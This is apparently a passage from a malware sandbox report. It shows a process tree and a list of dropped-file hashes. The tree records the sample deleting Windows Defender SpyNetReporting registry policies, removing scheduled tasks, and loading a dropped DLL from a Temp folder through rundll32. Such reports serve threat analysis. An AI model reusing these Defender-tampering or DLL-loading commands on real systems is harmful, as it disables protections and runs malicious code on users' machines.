C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:324⤵PID:2776
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:2488
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:644⤵PID:2772
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "YdWhrynxKGQiTdtBc"3⤵PID:2716
-
-
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\HUUMOuIe\kFLCKCQ.dll",#1 /iBsite_ideCt 5254032⤵PID:2076
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\HUUMOuIe\kFLCKCQ.dll",#1 /iBsite_ideCt 5254033⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1984 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "fORmCKMRpgzCRPXvW"4⤵PID:2916
-
-
-
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2832
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:1884
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2072
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD53b8b0add8cdd30bb7a8254af2d2d0c40
SHA18fbd7115d4178e8466e625c154f57eb4cbdab0aa
SHA256dbdacaafd2a55872400e4ff826becaf7eda63eda17af4dcd15c3c554bad0c29f
SHA5129f765138a7b28531ddae75eba0be5cc2ac1ef3df3585ba3fdc999e4526b98f23bb46413804efa1e5e0f25a22ef5ed0e6b56fee2a7139a3ad2121bcfba183461d
-
Filesize
2KB
MD51210accd6e4bd65ee0d2888c816eacbe
SHA16f7a0665626e76753f15d0225d96df1ab0ded751
SHA256f11de9670fd41afb098b322f22c744bc17891539a1f2c9c6cf16f993b3427399
SHA51237911b6db39c60bc7397ddaa50dcdd2e4495f855f51d355549eb137d2b8a160c1376e4f0e27aaff64ff602a4d6af61e91716c4c720974f57fa58a50ed99744f6
-
Filesize
2KB
MD50d5c26e479cd9d116e23754d5c3a7300
SHA135d2092cca43285d172e15460e6b6aa0dc0524d0
SHA256120ca30ab5af7f2733376f3280ed44e792db5a74ecf4e6948d8e29ab67a8f141
SHA512ea279ad0e459eca269c31571e062a0c1efc34f33cc547f6db8ba6430dc1960e195d97d82ca042e4a71442cd404e4deb9fae0f89fdeabc7fe61ad5d4394b5c62a
-
Filesize
2KB
MD567679c688dd9e80ee5f60e678b2d15dd
SHA1f818f813289ef9ed6f07d07bcf53d4f0953d9f6d
SHA256b1d6a95cee7113fdcbfd1c9decffff07d30d89bf0e0e5457a8262cf4b11517de
SHA512f2f16763d859dc2fa224dc4909848b81903a6f216ce5ceee82a642991dc329fdde889e1b697bd3c2027f3a8bd282f6d5aa9304e25c6f8506de338e1c46db430d
-
Filesize
1.2MB
MD576a0aa1ecc896681dc1f589c02acc892
SHA1bf7740c865242e5b5bf3a5875798b72b76322a48
SHA25636e38e8244497b4aba15d3b59addcf4d2e2a5c8f68438282088c484b5097c66c
SHA5129b14561fbb74998af8e991071da73c7b3256c43febf3f1b07e7e164a673358d505dd7a464deaa5442623df37b48c9049b9ecffa7e0dcb17aef2558c68c3fc91d
-
Filesize
2KB
MD56627b05cf4e336fae5247ce2b012c8c7
SHA155ecfda1c0edeca72fcd1e58874777856c5478ab
SHA256814449cbe38c990cd6bbe5dc6e1e8f120fd667505980cf26928a84ac8990464b
SHA512aa792544cb9892664fcddd2cf4300153b9a89fc7f7f7b7f05d6e52e551b8a3990948074fd22c10ff694fc3e8aae49cc7f8855cbfcb00b01d04ef957d17c952a4
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
9KB
MD51081a749602b63fe4557bc8399da30ab
SHA1af33de6a22657b54817f905fa81c7dcb62f99e48
SHA256391081f3a766d9d9d8f127785d31c4cf184d78604b8a69bce2135d54d6f31637
SHA512891e7ac8a1c3cb59c830ea8c87147667a48194963a6c7beb2c0050a703b535f459d67a1ec804fa07f5cff2d9f495fc70fe91cdd5ae2dbc49c6bf346ebe33b15e
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5e57a46b408eef946b81e6a5fd7ce9a9e
SHA17e719235543cd9b6c1bb532b55207c2fcc65f09a
SHA256eaf8b2c1983f0c0167a6cd4cc3ef7b611207bc67d26159251e2517d91ff75c64
SHA512322d22bcf5a5b0233ac398bad70a03451ca1af22e8ccc2f99f008bc9db4a3d10e3e68fd2afdb4b1472b02fcf14fab3a04ad60f65a79e678cb84583f64db5180d
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5ff89cb4d6c072e1a41d44895b7ca64ab
SHA109ff940b6cd328b246cd779184a7642b04fab7aa
SHA256fab34420d843de06d6937e5a34133043bea414f910c4e9a7fba929b996e846ac
SHA5127b82a2270a05fb8fc8f90fcd77b4475d80cb722b79355546b41732f14b08554b31dc747d5c893823eda2c118e1583776e6637b6bb8a1a070278ffbb51d2831ad
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d0399fddc6e1ddbb16d8e1c1bf2acc9f
SHA19daf6ca5e71ec2a4c1951c9d56a6f67982d797f2
SHA2561f5e44025f8331a8272f33d6ee9cfb76ab531e2731772665142246f7628afa28
SHA5124119ddf8865c9b1df41f382ef5e4ad62fab4b27214cac3ae09e2705733d3eb390ad3615c5ddd0e52948de97b23b7cd910e8965c8942ffd7dd3813aa751097538
-
Filesize
7KB
MD572be65be027de6f9aa86b4f3e9c3a5d1
SHA174eccd61b811cb82609f9f71f215e3c6dbec9319
SHA25678e07d266bea477fc0fb14ce4b0b99d1f27dac9c34cfc87f4b2798b4fb9ee5a9
SHA512963c64b2c4fca017aa83c001dce1a217e59ef84eb60f5f0194449ca44b8c861847e2801bda0bec205f70544300149d9c38ef07a8e80fa9f547bf71c28db0d278
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
9KB
MD55c901e07fa72af1e96dc3cb5943c233d
SHA16341dc9b2a23d0b5edf0a2177f3328267cf4fbfb
SHA2569709ed8c65a5a89b6d980f80be9158f6b68e1cfc0b7a5acdb665d0f255f8fdd6
SHA5122d86ab921a439ab7fd82d8936286501fcbc652a8e86f4410cdbf2b343c27d31bfc6d3eb72e5e4afb1388293a854e8473640bc63aa76cb7dcb92309c8b2996ee8
-
Filesize
6KB
MD536fe2ce93e22fd9f9d9afd07f37a02ae
SHA15ef4dcf2b4ebe4f3d449d401d24ba03c48666125
SHA2562a18a3c69777171499f6e48cd24a59032c31b0b3554a1c74d0898fee04691b0b
SHA512c69ca3bb7dffc54142f9e6e410aa867d6b21942826f4cc4b005bb4d445c67454ab5e98a5563a64ec22de3e0ff193c12f186a53ef2160042d0f8f6c332488ea70
-
Filesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783